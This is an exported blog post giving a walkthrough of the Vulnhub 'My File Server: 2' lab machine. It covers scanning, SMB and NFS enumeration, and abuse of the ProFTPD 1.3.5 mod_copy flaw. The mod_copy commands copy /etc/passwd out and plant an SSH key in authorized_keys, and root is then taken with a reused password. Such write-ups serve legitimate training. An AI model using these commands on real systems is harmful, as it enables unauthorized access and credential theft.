{"id":25660,"date":"2020-03-28T23:06:30","date_gmt":"2020-03-28T17:36:30","guid":{"rendered":"https:\/\/www.armourinfosec.com\/?p=25660"},"modified":"2020-04-09T09:48:56","modified_gmt":"2020-04-09T04:18:56","slug":"my-file-server-2-walkthrough","status":"publish","type":"post","link":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/","title":{"rendered":"My File Server: 2 Walkthrough"},"content":{"rendered":"<h1>My File Server:2 Walkthrough Vulnhub CTF<\/h1>\n<p>Download: <a href=\"https:\/\/www.vulnhub.com\/entry\/my-file-server-2,442\/\">My File Server: 2<\/a> Walkthrough Vulnhub CTF<\/p>\n<p>I will share with you a new Walkthrough for Vulnhub machines. My File Server: 2 This CTF machine is Created by Akanksha Sachin Verma You can download here this CTF . I would call this box on the easy side but there are a lot of moving parts that can cause you to follow some different directions. I don\u2019t want to say to much so let\u2019s get at it.<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25662 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-18-23-51.png\" alt=\"\" width=\"801\" height=\"485\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-18-23-51.png 801w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-18-23-51-300x182.png 300w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-18-23-51-768x465.png 768w\" sizes=\"(max-width: 801px) 100vw, 801px\" \/><\/p>\n<h3><strong>Penetration Testing Methodologies<\/strong><\/h3>\n<p><strong>Network Scan<\/strong><\/p>\n<ul>\n<li>Netdicover<\/li>\n<li>Nmap<\/li>\n<\/ul>\n<p><strong>Enumeration<\/strong><\/p>\n<ul>\n<li>SMBMAP<\/li>\n<li>Nikto<\/li>\n<li>Telnet<\/li>\n<\/ul>\n<p><strong>Exploit<\/strong><\/p>\n<ul>\n<li>Injecting id_rsa.pub via FTP<\/li>\n<li>Spawn PTY shell<\/li>\n<li>\n<p class=\"card-title text-secondary text-center\">ProFTPd 1.3.5 &#8211; File Copy<\/p>\n<\/li>\n<\/ul>\n<p><strong>Privilege Escalation<\/strong><\/p>\n<ul>\n<li>Capture the Flag.<\/li>\n<li>Password<\/li>\n<li>Kernel Exploit<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4>Network Scanning<\/h4>\n<p>So, as we always start with netdiscover to get the IP of the VM machine and the IP of the host I\u2019ve found is 192.168.56.3<\/p>\n<pre class=\"lang:sh decode:true \">netdiscover -i vboxnet1<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25670 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-22-57-22.png\" alt=\"\" width=\"560\" height=\"122\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-22-57-22.png 560w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-22-57-22-300x65.png 300w\" sizes=\"(max-width: 560px) 100vw, 560px\" \/><\/p>\n<p>Let\u2019s proceed with network scan using Nmap aggressive scan as given below.<\/p>\n<pre class=\"lang:sh decode:true \">nmap -p- -A 192.168.56.3<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25671 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-14.png\" alt=\"\" width=\"661\" height=\"508\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-14.png 661w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-14-300x231.png 300w\" sizes=\"(max-width: 661px) 100vw, 661px\" \/><\/p>\n<h3>Enumeration<\/h3>\n<p>It was very interesting as there were so many services running on the host network. We saw FTP\u2019s \u201canonymous login enabled\u201d and port 445 was also available for SMB.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25672 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-25.png\" alt=\"\" width=\"670\" height=\"312\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-25.png 670w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-00-25-300x140.png 300w\" sizes=\"(max-width: 670px) 100vw, 670px\" \/><\/p>\n<p>In order to enumerate SMB and identify a username as \u201csmbuser\u201d, I use the following command.<\/p>\n<pre class=\"lang:sh decode:true\">smbmap -H 192.168.56.3\r\nsmbclient -L 192.168.56.3<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25673 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-03-56.png\" alt=\"\" width=\"747\" height=\"129\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-03-56.png 747w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-03-56-300x52.png 300w\" sizes=\"(max-width: 747px) 100vw, 747px\" \/><\/p>\n<p>So we used Nmap script for more enumeration<\/p>\n<pre class=\"lang:sh decode:true\">nmap --script smb-enum-shares.nse -p445 192.168.56.3<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25747 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-18-46-00.png\" alt=\"\" width=\"460\" height=\"601\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-18-46-00.png 460w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-18-46-00-230x300.png 230w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/p>\n<p>From the output of Nmap script scan, we came to know about the existence of &#8220;smbuser&#8221;. On login with smbclient with &#8220;smbuser&#8221; with password &#8220;smbuser&#8221;. But we don&#8217;t have write permission in it. On login with another smb share i.e. &#8220;smbdata&#8221;, we came to know that we have write permission in it. This can be helpful.<\/p>\n<p>We also explore the IP host in the web browser as port 80 has been opened for the HTTP service.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25675 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-05-27.png\" alt=\"\" width=\"519\" height=\"217\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-05-27.png 519w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-05-27-300x125.png 300w\" sizes=\"(max-width: 519px) 100vw, 519px\" \/><\/p>\n<p>I chose to run Nikto for HTTP weak config listing, and luckily found an entry for \u201creadme.txt,\u201d let\u2019s test this in the web browser.<\/p>\n<pre class=\"lang:sh decode:true \">nikto -h http:\/\/192.168.56.3<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25678 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-08-04.png\" alt=\"\" width=\"766\" height=\"366\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-08-04.png 766w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-08-04-300x143.png 300w\" sizes=\"(max-width: 766px) 100vw, 766px\" \/><\/p>\n<p>I chose to run nikto for HTTP weak config listing, and luckily found an entry for \u201creadme.txt,\u201d let\u2019s test this in the web browser.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25680 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-10-45.png\" alt=\"\" width=\"534\" height=\"141\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-10-45.png 534w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-10-45-300x79.png 300w\" sizes=\"(max-width: 534px) 100vw, 534px\" \/><\/p>\n<p>Since we have NFS service running on port 2069, we may be able to mount a share and find some juicy data! You\u2019ll need to install nfs-common package if it doesn\u2019t exist already. So I created a user by name of file2 and id @99<\/p>\n<p>then I mounted the nfs share to \/tmp\/mnt as follows<\/p>\n<pre class=\"lang:sh decode:true\">useradd -u 99 file2\r\nmkdir \/tmp\/mnt\r\nmount -t nfs 192.168.56.3:\/smbdata \/tmp\/mnt -nolock\r\ncd \/tmp\/mnt\/<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25722 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-01-52.png\" alt=\"\" width=\"543\" height=\"198\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-01-52.png 543w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-01-52-300x109.png 300w\" sizes=\"(max-width: 543px) 100vw, 543px\" \/><\/p>\n<p>We then, Moving forward to port number 2121, we found ProFTPD 1.3.5 which is vulnerable with &#8220;<a href=\"https:\/\/www.exploit-db.com\/exploits\/36742\">mod_copy<\/a>&#8221; vulnerability using unauthenticated access.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25723 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-06-40.png\" alt=\"\" width=\"916\" height=\"392\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-06-40.png 916w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-06-40-300x128.png 300w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-06-40-768x329.png 768w\" sizes=\"(max-width: 916px) 100vw, 916px\" \/><\/p>\n<p>so we give it a try and it was a success. Using this vulnerability, we can also cross-check the user by coping &#8220;passwd&#8221; into &#8220;\/smbdata&#8221;.<\/p>\n<pre class=\"lang:sh decode:true\">telnet 192.168.56.3 2121\r\nsite help\r\ncpfr \/etc\/passwd\r\ncpto \/smbdata\/passwd_cpy<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25720 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-53-54.png\" alt=\"\" width=\"549\" height=\"244\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-53-54.png 549w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-23-53-54-300x133.png 300w\" sizes=\"(max-width: 549px) 100vw, 549px\" \/><\/p>\n<h3>Exploit<\/h3>\n<p>In order to get a shell, we will create a ssh key pair by running ssh-keygen.Put the public key i.e. &#8220;id_rsa.pub\/authorized_keys&#8221; to smb share &#8220;smbdata&#8221;.Copy the &#8220;authorized_keys&#8221; to &#8220;\/home\/smbuser\/.ssh\/&#8221; user &#8220;ProFTPD&#8221; Mod_copy Vulnerability.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25649 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-22-53.png\" alt=\"\" width=\"524\" height=\"308\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-22-53.png 524w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-22-53-300x176.png 300w\" sizes=\"(max-width: 524px) 100vw, 524px\" \/><\/p>\n<p>Then copied the id_rsa.pub to mount position and transfer the key to \/smbuser\/.ssh\/authorized_keys. Using ProFtpd 1.3.5 modcopy vulnerability on port 2121.<\/p>\n<pre class=\"lang:sh decode:true\">ssh-key\r\ncp \/root\/.ssh\/id_rsa.pub \/tmp\/mnt\r\ntelnet 192.168.56.3 2121\r\nsite help\r\nsite cpfr \/smbdata\/id_rsa.pub\r\nsite cpto \/home\/smbuser\/.ssh\/authorized_keys\r\nquit<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25729 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-18-04.png\" alt=\"\" width=\"740\" height=\"321\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-18-04.png 740w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-18-04-300x130.png 300w\" sizes=\"(max-width: 740px) 100vw, 740px\" \/><\/p>\n<p>Now getting ssh connection with the key generated earlier<\/p>\n<pre class=\"lang:default decode:true \">ssh -i id_rsa smbuser@192.168.56.3\r\nid\r\nhostname\r\nuname -a<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25730 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-20-34.png\" alt=\"\" width=\"743\" height=\"277\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-20-34.png 743w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-20-34-300x112.png 300w\" sizes=\"(max-width: 743px) 100vw, 743px\" \/><\/p>\n<p>YEHHH!!!!!!!! Got the shell.<\/p>\n<h3>Privilege Escalation<\/h3>\n<p>On enumerating, we found there are several ways to get the root like a vulnerable kernel but we have a password which we got before. So lets try this<\/p>\n<pre class=\"lang:sh decode:true\">su root\r\ncd\r\ncat proof.txt\r\nid\r\nhostname\r\nuname -a<\/pre>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25731 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-27-07.png\" alt=\"\" width=\"744\" height=\"217\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-27-07.png 744w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-27-07-300x88.png 300w\" sizes=\"(max-width: 744px) 100vw, 744px\" \/><\/p>\n<p>OR we can go for a kernel exploit like before.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25653\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-41-26-1.png\" alt=\"\" width=\"814\" height=\"187\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-41-26-1.png 1258w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-41-26-1-300x69.png 300w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-41-26-1-1024x235.png 1024w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-28-16-41-26-1-768x176.png 768w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><\/p>\n<p>we transfer the exploit to the server and run exploit.<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-25734\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-52-16.png\" alt=\"\" width=\"814\" height=\"327\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-52-16.png 831w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-52-16-300x121.png 300w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-52-16-768x309.png 768w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><img decoding=\"async\" class=\"alignnone wp-image-25733 size-full\" src=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-51-06.png\" alt=\"\" width=\"814\" height=\"436\" srcset=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-51-06.png 814w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-51-06-300x161.png 300w, https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-51-06-768x411.png 768w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><\/p>\n<p>WOOOO..!!!<\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/EQLD0i5-XiY\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>My File Server:2 Walkthrough Vulnhub CTF Download: My File Server: 2 Walkthrough Vulnhub CTF I will share with you a&#8230;<\/p>\n","protected":false},"author":1,"featured_media":25730,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[107],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>My File Server: 2 Walkthrough - Armour Infosec<\/title>\n<meta name=\"description\" content=\"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"My File Server: 2 Walkthrough - Armour Infosec\" \/>\n<meta property=\"og:description\" content=\"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/\" \/>\n<meta property=\"og:site_name\" content=\"Armour Infosec\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ArmourInfosec\" \/>\n<meta property=\"article:published_time\" content=\"2020-03-28T17:36:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-04-09T04:18:56+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-20-34.png\" \/>\n\t<meta property=\"og:image:width\" content=\"743\" \/>\n\t<meta property=\"og:image:height\" content=\"277\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Armour Infosec\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@ArmourInfosec\" \/>\n<meta name=\"twitter:site\" content=\"@ArmourInfosec\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Armour Infosec\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/\",\"url\":\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/\",\"name\":\"My File Server: 2 Walkthrough - Armour Infosec\",\"isPartOf\":{\"@id\":\"https:\/\/www.armourinfosec.com\/#website\"},\"datePublished\":\"2020-03-28T17:36:30+00:00\",\"dateModified\":\"2020-04-09T04:18:56+00:00\",\"author\":{\"@id\":\"https:\/\/www.armourinfosec.com\/#\/schema\/person\/1d8ec30560e735c34fa5d464a1357308\"},\"description\":\"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.armourinfosec.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"My File Server: 2 Walkthrough\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.armourinfosec.com\/#website\",\"url\":\"https:\/\/www.armourinfosec.com\/\",\"name\":\"Armour Infosec\",\"description\":\"Do Your Part - Be Security Smart\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.armourinfosec.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.armourinfosec.com\/#\/schema\/person\/1d8ec30560e735c34fa5d464a1357308\",\"name\":\"Armour Infosec\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.armourinfosec.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/17f812901d8294702576e81ddce5aa92?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/17f812901d8294702576e81ddce5aa92?s=96&d=mm&r=g\",\"caption\":\"Armour Infosec\"},\"sameAs\":[\"https:\/\/www.armourinfosec.com\/\"],\"url\":\"https:\/\/www.armourinfosec.com\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"My File Server: 2 Walkthrough - Armour Infosec","description":"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/","og_locale":"en_US","og_type":"article","og_title":"My File Server: 2 Walkthrough - Armour Infosec","og_description":"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.","og_url":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/","og_site_name":"Armour Infosec","article_publisher":"https:\/\/www.facebook.com\/ArmourInfosec","article_published_time":"2020-03-28T17:36:30+00:00","article_modified_time":"2020-04-09T04:18:56+00:00","og_image":[{"width":743,"height":277,"url":"https:\/\/www.armourinfosec.com\/wp-content\/uploads\/2020\/03\/Screenshot-from-2020-03-29-12-20-34.png","type":"image\/png"}],"author":"Armour Infosec","twitter_card":"summary_large_image","twitter_creator":"@ArmourInfosec","twitter_site":"@ArmourInfosec","twitter_misc":{"Written by":"Armour Infosec","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/","url":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/","name":"My File Server: 2 Walkthrough - Armour Infosec","isPartOf":{"@id":"https:\/\/www.armourinfosec.com\/#website"},"datePublished":"2020-03-28T17:36:30+00:00","dateModified":"2020-04-09T04:18:56+00:00","author":{"@id":"https:\/\/www.armourinfosec.com\/#\/schema\/person\/1d8ec30560e735c34fa5d464a1357308"},"description":"Another walkthrough for the vulnhub machine \u201cMy File Server: 2\u201d which is an easy lab designed by the author to give a taste to the OSCP Labs.","breadcrumb":{"@id":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.armourinfosec.com\/my-file-server-2-walkthrough\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.armourinfosec.com\/"},{"@type":"ListItem","position":2,"name":"My File Server: 2 Walkthrough"}]},{"@type":"WebSite","@id":"https:\/\/www.armourinfosec.com\/#website","url":"https:\/\/www.armourinfosec.com\/","name":"Armour Infosec","description":"Do Your Part - Be Security Smart","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.armourinfosec.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.armourinfosec.com\/#\/schema\/person\/1d8ec30560e735c34fa5d464a1357308","name":"Armour Infosec","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.armourinfosec.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/17f812901d8294702576e81ddce5aa92?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/17f812901d8294702576e81ddce5aa92?s=96&d=mm&r=g","caption":"Armour Infosec"},"sameAs":["https:\/\/www.armourinfosec.com\/"],"url":"https:\/\/www.armourinfosec.com\/author\/admin\/"}]}},"menu_order":0,"_links":{"self":[{"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/posts\/25660"}],"collection":[{"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/comments?post=25660"}],"version-history":[{"count":0,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/posts\/25660\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/media\/25730"}],"wp:attachment":[{"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/media?parent=25660"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/categories?post=25660"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.armourinfosec.com\/wp-json\/wp\/v2\/tags?post=25660"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}